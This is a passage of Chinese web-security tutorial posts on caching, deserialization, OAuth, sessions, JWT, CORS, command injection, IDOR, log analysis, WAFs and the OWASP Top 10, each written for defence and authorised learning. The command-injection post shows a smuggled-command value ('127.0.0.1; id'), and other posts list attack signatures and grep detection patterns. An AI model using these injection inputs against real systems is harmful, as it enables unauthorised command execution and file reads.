写在前面：合法学习边界

本文讲解 HTTP 缓存的原理与防御。不要利用缓存机制去污染或探测真实系统的缓存内容，必须在授权环境中学习。

一、为什么需要缓存

缓存的价值是让“重复读的东西不用每次都回源”，从而降低延迟和服务器压力。

常见层级：

1
2
3
4


浏览器缓存
CDN 缓存
反向代理缓存
应用层缓存

缓存要解决的核心问题是：什么时候能用旧的，什么时候必须用新的。

二、控制缓存的头部

1. Cache-Control

这是最常被用来控制缓存的头：

1
2
3
4


no-store：不缓存（敏感数据）
no-cache：可以缓存，但用之前必须回源校验
max-age=3600：缓存 1 小时
public / private：是否能被共享缓存缓存

2. ETag 与 Last-Modified

用于条件请求：

1
2


请求带 If-None-Match: <etag>
服务器校验后返回 304，复用本地缓存

ETag 比 Last-Modified 更精确，因为它基于内容变化，而不只是时间。

三、缓存的关键场景

一个典型的协商过程：

1
2


浏览器：GET /a.png（带 If-None-Match）
服务器：304 Not Modified（内容没变）

如果是动态且敏感的数据，就不应该被共享缓存缓存：

1

个人资料、订单、凭据相关接口要 no-store 或 private

四、常见风险

1. 敏感数据被缓存

1
2


登录页、个人中心、API 响应被共享缓存缓存
包含 token、身份证、订单的数据泄露给下一个用户

2. 缓存键覆盖（缓存投毒）

缓存以 URL（可能加 Vary）做键。如果缓存键设计不合理，攻击者可能让“毒响应”被缓存，其他人访问到被污染的内容。

1
2


参数、头参与缓存键的规则要清楚
Vary 要覆盖影响内容的关键头

3. 缓存与鉴权冲突

1
2


带鉴权的接口被 CDN 缓存
登出后旧内容仍在缓存里

4. 失效困难

1
2


没有版本号，更新后用户拿到旧资源
max-age 过长，回滚困难

五、防御建议

1
2
3
4
5


敏感接口用 Cache-Control: no-store
动态内容避免被共享缓存命中
明确缓存键与 Vary 规则
资源更新用带版本的 URL
对缓存命中率和异常 304 做监控

六、报告中的正确写法

示例：

1
2
3


发现：个人资料接口响应包含 token，且未设置 Cache-Control，可被共享缓存缓存。
风险：后续用户访问可能读到前一个用户的敏感数据。
建议：该接口设置 Cache-Control: no-store；检查缓存键与 Vary 配置；对缓存内容做清理。

报告要写清验证过程和影响，而不是只写“缓存配置有问题”。

七、小结

缓存是双刃剑：用得好降低延迟，用错就是敏感数据泄露和内容投毒。理解 no-store / no-cache / max-age / ETag / Vary，就能看懂大多数缓存相关的安全问题。

反序列化原理与风险

Sat, 29 Aug 2026 10:20:00 +0800

写在前面：合法学习边界

本文讲解反序列化漏洞的原理与防御。不要对真实系统构造恶意序列化数据。所有验证只能在自建靶场或明确授权的测试环境中进行。

一、序列化是干什么的

程序里的对象只存在于内存中，离开进程就没法保存或传输。序列化就是把对象转成字节或字符串，反序列化就是把它们变回对象。

典型用途：

1
2
3


把对象存进数据库、缓存
对象在网络间传递
前后端交换复杂数据

序列化本身不是坏事，问题出在反序列化时是否信任了来源。

二、为什么反序列化会危险

反序列化不是简单“读回数据”，很多语言在反序列化时会执行类构造、魔术方法甚至任意类方法。

如果攻击者能控制反序列化的内容，就可能：

1
2
3
4


触发危险方法链
读写任意文件
执行系统命令
造成 RCE

常见的危险场景集中在：

1
2
3
4


Java 的 readObject / ysoserial 链
Python 的 pickle
PHP 的 unserialize + 魔术方法
Ruby 的 Marshal.load

一句关键的话：反序列化等于在“加载代码路径”，不是加载数据。

三、哪些入口最容易被利用

1
2
3
4


接收序列化数据的接口
加密 Cookie 里存了对象
消息队列、缓存里传对象
日志或报告功能解析对象

尤其要注意：某些系统把对象序列化后 Base64 放进 Cookie，如果密钥泄露或逻辑校验缺失，等于把“执行入口”交给攻击者。

影响与危害

反序列化漏洞能造成：

1
2
3
4


远程代码执行（RCE）
任意文件读写
服务器被完全控制
内网横向移动

风险等级：严重。它往往能直接绕过大部分输入校验。

四、防御思路

1. 别反序列化不可信数据

能用 JSON、纯数据格式就用它们，能少用原生反序列化就少用。

2. 校验与签名

1
2
3


对序列化内容加签名/HMAC
校验版本和类型白名单
拒绝未知类

3. 白名单类过滤

明确允许哪些类可以反序列化，而不是黑名单。黑名单永远追不上新 gadget。

4. 隔离与最小权限

1
2
3


反序列化进程用最小权限运行
沙箱或独立环境解析
限制文件系统、网络访问

5. 审计

关注异常反序列化请求、非常规类名、异常异常栈。

修复

1
2
3
4
5


不使用原生反序列化处理不可信数据
对序列化内容加签名/HMAC
反序列化做类白名单
以最小权限、隔离环境运行解析进程
修复后复测：构造对象不再执行

五、报告中的正确写法

示例：

1
2
3


发现：Cookie 中存放 Base64 编码的序列化对象，反序列化未做类白名单校验，存在可利用链。
风险：攻击者可能构造恶意对象导致命令执行。
建议：改用不可执行数据格式；对数据加签名；反序列化做类白名单；以最小权限运行。

报告要写清“入口、是否可验证、影响、修复优先级”，而不是只写“存在反序列化风险”。

六、小结

反序列化的本质是“加载代码路径”。它比参数注入更危险，因为它能绕过很多输入校验。把“反序列化 = 执行入口”记在心里，才会谨慎对待每一个序列化来源。

OAuth 2.0 授权码模式入门

Sat, 29 Aug 2026 10:10:00 +0800

写在前面：合法学习边界

本文讲解 OAuth 2.0 授权码模式的原理与风险。不要针对真实第三方应用做授权码窃取、redirect_uri 绕过或令牌复用测试，必须在自建环境或明确授权的环境中学习。

一、OAuth 2.0 解决什么问题

OAuth 2.0 让用户可以把“某一类权限”授权给第三方应用，而不是把密码直接交给对方。

常见场景：

1
2
3


用 GitHub 登录一个第三方网站
第三方应用读取用户的邮箱
应用代替用户调用某个 API

它的核心思想是：授权 ≠ 把账号密码交出去。

二、授权码模式有哪些参与者

1
2
3
4


资源所有者：用户
客户端：第三方应用
授权服务器：负责认证和发令牌
资源服务器：持有受保护资源

理解这四个角色，后面所有风险都能对号入座。

三、授权码模式的流程

最常见的是授权码模式（Authorization Code），流程大致如下：

1
2
3
4
5


1. 客户端把用户重定向到授权服务器
2. 用户登录并同意授权
3. 授权服务器重定向回客户端，带上授权码 code
4. 客户端用 code + client_secret 换取 access_token
5. 客户端用 access_token 访问资源服务器

这个流程里，access_token 不会经过浏览器，只在客户端和授权服务器之间传递，这是它比隐式模式更安全的关键。

四、常见风险

1. redirect_uri 校验不严

授权服务器把 code 回传给客户端时，靠 redirect_uri 决定把 code 交给谁。如果校验不严，攻击者可能诱导授权服务器把 code 发给自己。

1
2
3


redirect_uri 必须精确匹配
不能允许任意后缀匹配
不能接受可控的 open redirect

2. 缺少 state 导致 CSRF

授权服务器回跳时如果客户端不校验 state，攻击者可以把自己的 code 塞给受害者，造成账号绑定或会话污染。

1
2


state 要随机且绑定会话
回调时必须校验 state

3. code 或 token 泄露

1
2
3


code 出现在 URL、日志、Referer
token 存在 localStorage 且无隔离
token 没有过期时间

4. 权限过大

第三方申请了超出业务需要的 scope，比如只读邮箱却申请了删除权限。

影响与危害

OAuth 配置问题能造成：

1
2
3
4


授权码被劫持
账号绑定被篡改（CSRF）
令牌泄露导致越权访问
第三方过度授权

风险等级：中到高。

五、防御建议

1
2
3
4
5
6


redirect_uri 白名单精确匹配
强制校验 state 防回调 CSRF
code 一次性使用、短有效期
access_token 尽量不落浏览器，落浏览器也要短效+独立存储
按最小权限申请 scope
对 code/token 泄露做监控

修复

1
2
3
4
5
6


回调地址白名单精确匹配
强制校验 state 防回调 CSRF
code 一次性使用、短有效期
access_token 短效并独立存储
最小权限申请 scope
修复后复测：篡改回调/缺失 state 均被拒绝

六、报告中的正确写法

示例：

1
2
3


发现：授权回调未校验 state，且 redirect_uri 允许非精确匹配，攻击者可替换回调地址。
风险：可能导致授权码被劫持、账号绑定被篡改。
建议：回调精确校验 redirect_uri；生成并校验随机 state；code 设置为一次性短效。

报告要写清楚验证步骤和影响，而不是只写“OAuth 配置不规范”。

七、小结

OAuth 2.0 不是“登录就一定安全”。它的安全取决于 redirect_uri、state、code 有效期和令牌存储这几个边界。把这些边界想清楚，就能看懂很多第三方登录相关的漏洞。

Cookie 与 Session 入门

Sat, 29 Aug 2026 10:00:00 +0800

写在前面：合法学习边界

本文讲解会话机制的原理与防御。不要拿真实网站、企业系统去测试会话固定、会话劫持或伪造 Cookie。所有验证必须在自建靶场或明确授权的测试环境中完成。

一、为什么 HTTP 需要“会话”

HTTP 本身是无状态的，每次请求都是独立的。服务器收到两次请求，默认不知道是不是同一个人。

但真实业务需要“记住登录状态”，所以出现了会话机制。常见分工是：

1
2


Cookie：浏览器保存的小片段，随请求自动携带
Session：服务端保存的状态，客户端只拿一个标识

理解这两者，才能看懂“登出无效”“换个浏览器又要登录”“会话被劫持”这些问题。

二、Cookie 是什么

Cookie 是服务器通过 Set-Cookie 下发给浏览器的小数据块，浏览器之后会在同域请求里带上它。

一次典型交互：

1
2


服务器：Set-Cookie: sessionid=abc123; Path=/; HttpOnly; Secure; SameSite=Lax
浏览器：Cookie: sessionid=abc123

Cookie 上常见的属性直接决定安全边界：

1
2
3
4
5


Domain / Path：哪些地址会带这个 Cookie
HttpOnly：禁止 JS 读取，防 XSS 直接偷走
Secure：仅 HTTPS 下传输
SameSite：控制跨站请求是否携带
Expires / Max-Age：有效期

如果 Cookie 里直接放了用户名、角色甚至明文密码，那就是把信任交给了客户端，风险很大。

三、Session 是什么

Session 通常放在服务端内存、Redis 或数据库里。客户端只持有 session id，服务端拿这个 id 去查状态。

典型流程：

1
2
3
4


登录成功
服务端创建会话，生成 session id
Set-Cookie 返回给客户端
后续请求带 session id，服务端校验

这里最关键的一句话：Session 内容在服务端，客户端只有一把钥匙。如果把用户身份放在客户端 Cookie 里自己拼，等于把门锁交给了别人。

四、常见风险

1. 会话固定

登录前和登录后 session id 没变。攻击者可以先给自己发一个 session id，诱导用户用它登录，登录后攻击者复用同一个 id。

防御重点是：登录成功后必须重新生成 session id。

2. 会话劫持

session id 被偷，攻击者就能冒充用户。偷取途径包括：

1
2
3


XSS 偷 Cookie（没 HttpOnly）
HTTP 明文传输（没 Secure）
日志、Referer、第三方脚本泄露

3. 会话过期管理不当

会话永远不过期、宽限期过长、登出只清前端不清理服务端，都会放大风险。

4. 并发登录与暴力破解

没有限制单账号登录会话数量、没有失败次数限制，容易被撞库或滥用。

五、防御建议

1
2
3
4
5
6


登录成功后轮换 session id
Cookie 加 HttpOnly、Secure、SameSite=Lax/Strict
设置合理过期时间并支持服务端失效
敏感操作要求二次认证
限制异常登录和会话复用
敏感 Cookie 用独立隔离（如同源策略 + 独立域名）

六、报告中的正确写法

示例：

1
2
3


发现：登录成功后 session id 未重新生成，Cookie 未设置 HttpOnly 且站点允许 HTTP 访问。
风险：可能被会话固定、XSS 窃取会话导致冒充登录态。
建议：登录后重新生成 session id；Cookie 增加 HttpOnly、Secure、SameSite；强制 HTTPS。

写报告时要把“怎么验证的、影响面、修复建议”说清楚，而不是只写“会话不安全”。

七、小结

Cookie 只是标识，Session 才是状态。真正要保护的是服务端会话，而不是客户端那张“钥匙”。把这两者分开理解，会话固定、劫持、过期这些问题就有了统一的解释。

WebSocket 入门与安全边界

Sat, 29 Aug 2026 08:05:00 +0800

写在前面：合法学习边界

本文只讲原理和防御。请不要把相关测试用于真实系统。

一、WebSocket 解决什么问题

HTTP 是请求-响应模型。很多场景需要服务器主动推数据，例如聊天、行情、在线协作。

这时就需要长连接协议。

WebSocket 就是为这类场景设计的。

1
2
3


TCP 长连接
全双工通信
低延迟推送

二、WebSocket 的握手流程

连接开始仍是 HTTP，只是带上了升级头。

常见握手头：

1
2
3
4


Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key
Sec-WebSocket-Version: 13

服务器成功后返回：

1

HTTP/1.1 101 Switching Protocols

之后不再走 HTTP 语义，而是在同一条连接上收发帧。

三、常见的安全问题

1
2
3
4
5


明文传输
跨站连接滥用
缺少身份校验
消息过大
没有频率限制

其中最常见的是：

1
2


HTTP 下明文传输
CORS/Origin 校验不严

四、防御建议

1
2
3
4
5


使用 wss://
校验 Origin
做鉴权和权限检查
限制消息大小和频率
对敏感消息加密

五、报告中的正确写法

示例：

1
2
3


发现：wss 连接的 Origin 校验缺失，导致跨站可建立连接并接收用户消息。
风险：可能触发跨站 WebSocket 劫持。
建议：服务端校验 Origin，并按用户权限过滤消息。

六、小结

WebSocket 是实时通信的基础，但默认不等于安全。身份、授权和传输层都要单独做对。

HTTP 方法与幂等性入门

Sat, 29 Aug 2026 07:55:00 +0800

写在前面：合法学习边界

本文用于理解 HTTP 方法语义和 API 安全设计。请不要把危险操作测试用于真实系统。

一、为什么方法语义重要

HTTP 方法不只是“发送数据”的标签，它定义了请求的意图。

常见方法：

1
2
3
4
5


GET：读取资源
POST：创建资源或提交动作
PUT：整体替换资源
PATCH：局部更新资源
DELETE：删除资源

二、安全方法和幂等性

1. 安全方法

GET 和 HEAD 通常应是安全的：

1

不应改变服务器状态

如果 GET 可以改密码、删订单、发转账，那就是设计错误。

2. 幂等性

同一个请求重复执行，结果应当一致。

常见幂等方法：

1
2
3


GET
PUT
DELETE

POST 通常不是幂等的，因为重复提交可能重复创建对象。

三、为什么安全人员关心

很多漏洞会利用“不该有状态变化的请求”去改变状态。

例如：

1
2
3


用 GET 改状态
重复 POST 重复创建
PUT 覆盖他人资源

这会影响：

1
2
3


业务正确性
审计追踪
风险等级

四、防御建议

1
2
3
4


危险操作使用安全的方法映射
重复请求要幂等或去重
接口要有权限校验
记录变更请求日志

五、报告中的正确写法

示例：

1
2
3


发现：GET /api/cancel/{id} 会直接取消订单，违反 GET 的安全语义。
风险：可能导致误操作、缓存污染、日志误判和自动化滥用。
建议：改为 POST 或专用方法；增加幂等键；记录审计日志。

六、小结

方法语义不是装饰，而是协议约束。理解它，才能看懂 API 安全和日志分析。

JWT 入门与安全边界

Sat, 29 Aug 2026 07:45:00 +0800

写在前面：合法学习边界

本文只讲原理和防御。请不要在真实系统中伪造、猜测、暴力破解或滥用 JWT。所有验证都应在授权靶场或明确授权环境中完成。

一、JWT 是什么

JWT（JSON Web Token）是一种用于声明式传递身份和权限信息的令牌格式。它由三部分组成：

1
2
3


Header
Payload
Signature

通常以 xxx.yyy.zzz 形式出现。

二、JWT 的核心问题

JWT 本身解决的是“身份声明”的传递，不等于完整的安全模型。

常见误解：

1
2
3


有 JWT 就等于安全
JWT 能自动限制权限
JWT 不能被伪造

真正需要同时满足：

1
2
3
4


签名算法正确
密钥安全
过期时间合理
授权仍在服务端做

三、常见风险

1
2
3
4
5
6


alg=none 风险
弱签名密钥
过期时间过长
权限放在 token 里但不做服务端校验
没有撤销机制
泄露后难以失效

影响与危害

JWT 相关问题能造成：

1
2
3


身份伪造（alg=none、弱密钥）
越权访问
会话劫持

风险等级：中到高。

四、防御建议

1. 固定签名算法

不要允许客户端随意选择算法。

2. 密钥安全

使用足够强度的密钥并定期轮换。

3. 设置过期时间

token 要有合理有效期。

4. 权限仍在服务端校验

JWT 只能携带声明，不应替代授权判断。

5. 支持撤销和吊销

高风险场景需要撤销机制。

修复

1
2
3
4
5


固定签名算法，禁止客户端选择
使用高强度密钥并轮换
设置合理过期时间，支持撤销
权限仍在服务端校验
修复后复测：伪造 token 不再被接受

五、报告中的正确写法

示例：

1
2
3


发现：/api/me 接受签名算法 none 或错误配置，导致客户端可伪造身份声明。
风险：可能导致身份伪造、越权访问或会话劫持。
建议：固定签名算法；服务端校验签名；限制过期时间；支持撤销。

六、小结

JWT 是工具，不是安全边界。它最适合做“可验证声明”，但权限、撤销和风险控制仍要在服务端完成。

CORS 配置错误入门

Sat, 29 Aug 2026 07:35:00 +0800

写在前面：合法学习边界

本文讲解 CORS 配置错误的原理与防御。所有验证都应在自建靶场或明确授权环境中完成。请不要把敏感凭证、Cookie 或接口数据用于未授权跨域测试。

一、什么是 CORS

CORS（跨域资源共享）让浏览器在安全控制下允许跨域请求。默认情况下，浏览器遵循同源策略，限制不同源之间读取响应。

同源包括：

1
2
3


协议
域名
端口

例如 http://a.com 和 https://a.com 就不是同源。

二、CORS 的核心响应头

常见响应头：

1
2
3
4
5


Access-Control-Allow-Origin
Access-Control-Allow-Credentials
Access-Control-Allow-Methods
Access-Control-Allow-Headers
Access-Control-Max-Age

其中最重要的是：

1
2


Allow-Origin：允许哪个源访问
Allow-Credentials：是否允许携带 Cookie、HTTP Auth 等凭证

三、常见错误配置

1. 允许所有来源并携带凭证

如果配置成允许任意来源，并允许凭证，风险会非常高。

2. 直接回显 Origin

服务端把客户端传来的 Origin 直接写回 Access-Control-Allow-Origin，可能导致浏览器放行不该访问的请求。

3. 没有校验凭证场景

涉及登录态、Cookie、用户数据的接口不能随便允许跨域。

四、风险怎么判断

CORS 不是“跨域请求本身危险”，关键看：

1
2
3
4


是否能跨域读取敏感响应
是否能携带用户凭证
是否返回敏感数据
接口是否具备业务影响

如果只是跨域请求公开静态资源，风险通常低。

影响与危害

CORS 配置错误能造成：

1
2
3


跨站读取用户数据（凭证被带上的情况下）
接口被第三方站点滥用
钓鱼与数据泄露

风险等级：中到高。

五、防御建议

1
2
3
4
5
6


只允许明确的来源白名单
不要对所有源使用通配符
涉及凭证时避免通配源
服务端校验 Origin
最小化允许方法
记录异常跨域访问

修复

1
2
3
4


不直接反射 Origin，使用固定白名单
Access-Control-Allow-Credentials 与白名单配合
区分内部/外部接口的跨域策略
修复后复测：非白名单 Origin 拿不到响应

六、报告中的正确写法

示例：

1
2
3


发现：/api/profile 返回 Access-Control-Allow-Origin 回显客户端 Origin，并允许携带凭证。
风险：可能导致第三方站点在用户已登录时读取敏感接口响应。
建议：改为来源白名单；凭证接口禁止通配源；服务端校验 Origin；增加日志告警。

七、小结

CORS 的核心不是“要不要跨域”，而是“哪个源、带不带凭证、能不能读取敏感响应”。配置时要默认拒绝，再按需放行。

命令注入原理与防御

Sat, 29 Aug 2026 07:15:00 +0800

写在前面：合法学习边界

本文讲解命令注入的原理和防御。请不要在真实系统上构造命令拼接、提权或利用系统命令。所有示例都应在自建靶场、授权测试环境中学习。

一、命令注入的本质

命令注入的本质是：程序把用户输入拼接到系统命令里，操作系统把输入当成命令的一部分执行了。

例如：

1
2


input = "127.0.0.1"
command = "ping -c 1 " + input

如果输入：

1

127.0.0.1; id

就可能变成：

1

ping -c 1 127.0.0.1; id

结果是多执行了一条命令。

二、常见触发点

1
2
3
4
5
6


ping 工具
文件路径参数
命令执行接口
下载/转换工具
网络诊断功能
批量管理脚本

常见危险字符：

1
2
3
4


;
&&
||
|

还有换行符、反引号、括号等。

三、为什么容易被忽略

很多系统认为“只有管理员才能访问”，所以没有做输入校验。但管理员接口也常被弱口令、SSRF、未授权访问或 XSS 打进来。

命令注入的危害往往比 SQL 注入更直接：

1
2
3
4
5


执行系统命令
读取文件
提权
下载工具
修改配置

影响与危害

命令注入能造成：

1
2
3
4


服务器命令执行（RCE）
读取敏感文件
反弹 Shell
内网横向渗透

风险等级：严重。

四、防御方法

1. 白名单

优先使用白名单而不是黑名单。

例如只允许 IP 地址：

1

只允许 IPv4 格式

2. 参数化调用

不要直接拼接 shell 字符串，改用参数数组调用。

3. 最小权限

不要让 Web 服务拥有过高权限。

4. 禁用不必要的命令

不要给普通用户执行敏感命令的能力。

5. 输入校验

限制长度、格式、字符集。

6. 日志与告警

监控异常命令参数、异常进程、异常子进程。

修复

1
2
3
4
5


禁止拼接 shell 命令，改用参数化 API
对可执行命令做白名单
对特殊字符（; | & $ `）做严格校验
进程以最小权限运行
修复后复测：注入命令不再执行

五、报告中的正确写法

示例：

1
2
3


发现：/api/diag 接口的 host 参数会拼接到 ping 命令，且未过滤分号。
风险：可能导致命令执行、文件读取、权限提升或服务器控制。
建议：使用参数化调用；限制输入格式；最小权限运行；增加异常命令告警。

六、小结

命令注入的核心是“输入进入了命令执行路径”。防御时要优先使用白名单和参数化调用，而不是依赖简单替换。

API 安全测试入门

Sat, 29 Aug 2026 07:05:00 +0800

写在前面：合法学习边界

本文只讲 API 安全的测试思路，适用于自建靶场和授权测试。请不要对真实 API 进行越权、爆破、批量枚举或未授权访问。

一、API 为什么容易出问题

API 通常直接暴露业务逻辑，而且很多接口没有页面保护。

常见风险：

1
2
3
4
5
6


未鉴权接口
对象级越权
参数枚举
批量请求
速率没有限制
返回信息过多

二、API 测试的重点

1. 鉴权

确认每个接口都要求有效 token、session 或签名。

2. 授权

即使有 token，也要检查角色和资源归属。

3. 输入校验

检查分页、排序、过滤参数是否会被滥用。

4. 速率限制

防止爆破、爬取和批量拉取。

5. 错误信息

不要暴露堆栈、内部字段名或敏感结构。

三、常见测试点

1
2
3
4
5


GET /api/user/{id}
POST /api/login
PATCH /api/user/{id}
DELETE /api/order/{id}
GET /api/export

需要检查：

1
2
3
4
5


是否能未登录访问
是否能改 ID 访问别人数据
是否返回了不必要字段
是否支持批量查询
是否有速率限制

影响与危害

API 安全问题能造成：

1
2
3
4


越权、注入、数据泄露
未授权访问
批量数据被爬取
业务逻辑被滥用

风险等级：中到高。

四、防御建议

1
2
3
4
5
6


所有接口都要服务端鉴权
对象级授权必须检查归属
限制请求频率
最小化返回字段
记录审计日志
使用 HTTPS 和签名

修复

1
2
3
4
5


统一鉴权与授权、对象级访问控制
参数化查询与输入校验
接口限流与防刷
敏感接口审计与日志
修复后复测关键测试点

五、报告写法

示例：

1
2
3


发现：/api/orders/{id} 未校验订单归属，低权限用户可读取他人订单详情。
风险：可能导致订单、支付和联系人信息泄露。
建议：增加对象归属校验；减少返回字段；增加访问日志和告警。

六、小结

API 安全的关键是：鉴权、授权、输入、速率、日志，五件事都要做。

越权访问与 IDOR 入门

Sat, 29 Aug 2026 06:55:00 +0800

写在前面：合法学习边界

本文讲解越权访问和 IDOR（Insecure Direct Object Reference）。所有测试都必须在自建靶场或明确授权环境中进行。请不要对真实系统进行改 ID、越权读取、越权修改或未授权枚举。

一、什么是越权访问

越权访问的核心是：系统没有正确判断“这个用户能不能操作这个对象”。

常见类型有：

1
2
3


横向越权：访问同级别其他用户的数据
纵向越权：低权限用户访问高权限功能
对象级越权：直接访问不属于自己的资源

二、IDOR 是什么

IDOR 就是“不安全的直接对象引用”。

当接口使用用户可控的对象标识时，如果服务端没有再次校验归属关系，就可能出现问题。

典型接口：

1
2
3


GET /api/orders/123
GET /api/profiles/1001
DELETE /api/files/77

如果 123 这个订单不属于当前用户，但系统仍然返回，就可能是 IDOR。

三、常见触发点

1
2
3
4
5
6
7


用户 ID
订单 ID
文件 ID
发票 ID
聊天记录 ID
项目 ID
会话 ID

这些 ID 如果直接来自 URL 或参数，都要重点检查授权。

四、为什么前端不够

前端隐藏按钮、隐藏菜单并不等于安全。真正有效的授权判断必须在服务端完成。

前端只做展示，后端才做控制。

五、如何发现

典型验证方法：

1
2
3
4


1. 获取 A 用户接口
2. 替换成 B 用户对象 ID
3. 观察是否返回数据
4. 观察是否能修改或删除

但必须强调：这些步骤只能在授权范围内做。

影响与危害

越权/IDOR 能造成：

1
2
3


查看/修改他人数据
水平越权（平级用户）与垂直越权（提升权限）
数据泄露与业务受损

风险等级：高。

六、防御方法

1. 服务端对象级鉴权

每次访问对象前，都检查归属关系。

2. 对象 ID 不可枚举

避免连续、可预测、可遍历的 ID。

3. 最小权限

只给当前用户最小可见集合。

4. 角色与资源绑定

用户角色和可访问资源要绑定检查。

5. 审计日志

记录越权尝试、失败访问和异常对象请求。

修复

1
2
3
4


服务端统一鉴权，不信任前端/ID 参数
对象访问前校验归属与权限（对象级授权）
ID 使用不可预测值或做随机化
修复后复测：替换他人 ID 无法访问

七、报告中的正确写法

示例：

1
2
3


发现：用户 A 将订单 ID 改成用户 B 的订单 ID 后，接口仍返回订单详情。
风险：可能导致敏感订单、支付信息或业务数据泄露。
建议：服务端增加对象归属校验；不可信任客户端对象 ID；增加访问审计。

八、小结

越权和 IDOR 的本质不是“会不会改 URL”，而是“后端有没有真正校验归属”。它是 Web 安全里最基础也最容易被忽视的一类问题。

日志分析入门：access.log 找攻击痕迹

Sat, 29 Aug 2026 06:25:00 +0800

写在前面：合法学习边界

日志分析是防守方常用技能。本文只讲如何在授权范围内分析自己系统的日志。请不要把日志内容、账号信息、用户数据或敏感路径发布到公共位置。

一、为什么 access.log 重要

Nginx/Apache 的 access.log 记录了每个 HTTP 请求的基本信息。它通常能告诉分析师：

1
2
3
4


谁在什么时候访问了什么路径
请求状态是什么
来自哪个 IP
响应大小和耗时是多少

安全分析不是只看 500，还要看：

1
2
3
4
5
6


大量 404
短时间大量 401/403
异常 User-Agent
异常路径
异常请求方法
重复失败登录

二、access.log 的基本结构

典型字段包括：

1
2
3
4
5
6
7


IP
时间
请求行
状态码
响应字节数
Referer
User-Agent

示例：

1

1.2.3.4 - - [29/Aug/2026:06:25:00 +0800] "GET /login HTTP/1.1" 200 1234 "https://example.com/" "Mozilla/5.0"

三、常见攻击痕迹

1. 扫描探测

特征：

1
2
3
4


大量 404
访问不存在路径
目录枚举
工具 User-Agent

2. 爆破尝试

特征：

1
2
3


大量 401/403
重复请求同一登录接口
短时间高频访问

3. SQL 注入尝试

特征：

1
2
3
4
5


单引号
and 1=1
union select
%27
sleep

4. XSS 尝试

特征：

1
2
3


<script>
onerror
javascript:

5. 文件遍历

特征：

1
2


../../etc/passwd
%2e%2e/

四、常用分析命令

1. 查看最近日志

1

tail -n 100 /var/log/nginx/access.log

2. 统计状态码

1

awk '{print $9}' /var/log/nginx/access.log | sort | uniq -c | sort -nr

3. 查找 404

1

grep '" 404 ' /var/log/nginx/access.log

4. 查找可疑关键字

1

grep -Ei "select|union|script|passwd|\.env" /var/log/nginx/access.log

5. 统计高频 IP

1

awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -nr | head

五、日志保留原则

1
2
3
4


不要随意删除原始日志
先备份再排查
不要把敏感信息复制到公共位置
记录分析过程

六、日志分析的结论写法

示例：

1
2
3


发现：10.0.0.20 在 10 分钟内对 /admin/login 发起 400 多次请求，返回大量 401。
风险：可能存在口令爆破尝试。
建议：锁定来源 IP；检查是否成功登录；增强 MFA 和告警。

七、小结

日志不是流水账，而是时间线。会看日志的人，能把碎片信息拼成攻击链路。

WAF 原理与绕过思路

Sat, 29 Aug 2026 06:05:00 +0800

写在前面：合法学习边界

本文讨论 WAF 原理和绕过思路，目的是帮助初学者理解防护机制，而不是提供攻击真实网站的教程。任何 WAF 绕过测试都必须在授权环境中进行。

一、WAF 是什么

WAF（Web Application Firewall）是位于应用前面的防护层，用来检查 HTTP/HTTPS 请求和响应，识别 SQL 注入、XSS、文件包含、命令注入等攻击模式。

WAF 通常做三件事：

1
2
3


检查请求
匹配规则
拦截或告警

二、WAF 的工作方式

1. 规则匹配

WAF 常用规则和特征识别攻击。例如检测：

1
2
3
4


<script>
' OR 1=1
union select
../../etc/passwd

2. 解码后匹配

请求参数在进入规则引擎前通常会解码。例如 URL 编码、HTML 编码、Base64 等。

3. 上下文判断

成熟 WAF 会判断参数位置，例如 URL、Cookie、Body、Header。

三、为什么 WAF 会误报

误报的常见原因：

1
2
3
4


规则过宽
业务内容像攻击特征
参数中包含特殊字符
正常 HTML 内容被识别成 XSS

例如富文本内容里天然会有 < 或 &。

四、为什么 WAF 会漏报

漏报的常见原因：

1
2
3
4
5


攻击发生在业务逻辑层
请求经过编码或分块
WAF 没检查 Body
规则未覆盖该场景
攻击使用正常协议行为

五、防御视角的调优建议

1
2
3
4
5


先开启监控，再逐步启用拦截
对正常业务内容建立白名单
减少规则泛化
定期查看误报和漏报
结合业务日志判断

六、报告中如何描述 WAF 问题

好的报告应说明：

1
2
3
4
5


触发规则
绕过的请求特征
影响范围
是否造成真实业务风险
建议如何优化

只说“WAF 可被绕过”但没有证据，是没有价值的结论。

七、小结

WAF 是防护，不是银弹。它最适合做流量过滤和第一道防线，真正有效还要结合业务鉴权、输入处理、日志审计和持续调优。

OWASP Top 10（2021）解读

Sat, 29 Aug 2026 05:55:00 +0800

写在前面：合法学习边界

OWASP Top 10 是学习 Web 安全的重要地图，不是漏洞利用清单。本文帮助初学者理解常见风险类型和防御思路。任何漏洞验证都应在自建靶场或明确授权环境中进行。

一、A01:2021 访问控制失效

访问控制失效是指系统没有正确限制用户能访问什么。

典型问题：

1
2
3
4


越权访问他人数据
未认证访问管理接口
角色权限过大
URL 改 ID 后访问别人资源

防御重点：默认拒绝、服务端鉴权、最小权限、对象级授权检查。

二、A02:2021 加密机制失效

加密机制失效包括敏感数据未加密、弱算法、密钥管理不当。

典型问题：

1
2
3
4


明文密码存储
HTTP 明文传输
弱哈希
密钥硬编码

防御重点：强算法、密码哈希加盐、HTTPS、密钥轮换和密钥管理。

三、A03:2021 注入

注入包括 SQL 注入、命令注入、LDAP 注入、模板注入等。

本质是用户输入被当作命令或代码执行。

防御重点：参数化查询、输入校验、最小权限、避免拼接危险命令。

四、A04:2021 不安全设计

不安全设计指架构或业务流程本身有缺陷。

典型问题：

1
2
3


找回密码逻辑可绕过
余额修改没有二次确认
验证码可预测

防御重点：威胁建模、业务规则校验、关键操作二次确认。

五、A05:2021 安全配置错误

安全配置错误很常见。

典型问题：

1
2
3
4


默认账号未修改
调试页面暴露
错误配置 CORS
管理后台公网可访问

防御重点：安全基线、配置审计、自动化检查。

六、A06:2021 易受攻击和过时的组件

过时组件往往包含已知漏洞。

典型问题：

1
2
3


旧版框架
过期中间件
未及时升级插件

防御重点：SBOM、版本管理、漏洞扫描、及时补丁。

七、A07:2021 身份认证失效

身份认证失效包括弱口令、会话管理错误、验证码缺陷等。

防御重点：MFA、会话过期、强密码策略、登录失败限制。

八、A08:2021 软件和数据完整性故障

主要涉及未受保护的外部数据和构建流程。

典型问题：

1
2
3


CI/CD 供应链风险
自动更新未校验
依赖被污染

防御重点：签名校验、可信依赖、供应链审计。

九、A09:2021 安全日志和监控不足

没有日志，就很难发现攻击。

典型问题：

1
2
3


不记录登录日志
不记录权限变更
不监控异常请求

防御重点：统一日志、告警、留存、审计。

十、A10:2021 服务端请求伪造

SSRF 让服务器代替攻击者访问内部服务。

典型问题：

1
2
3


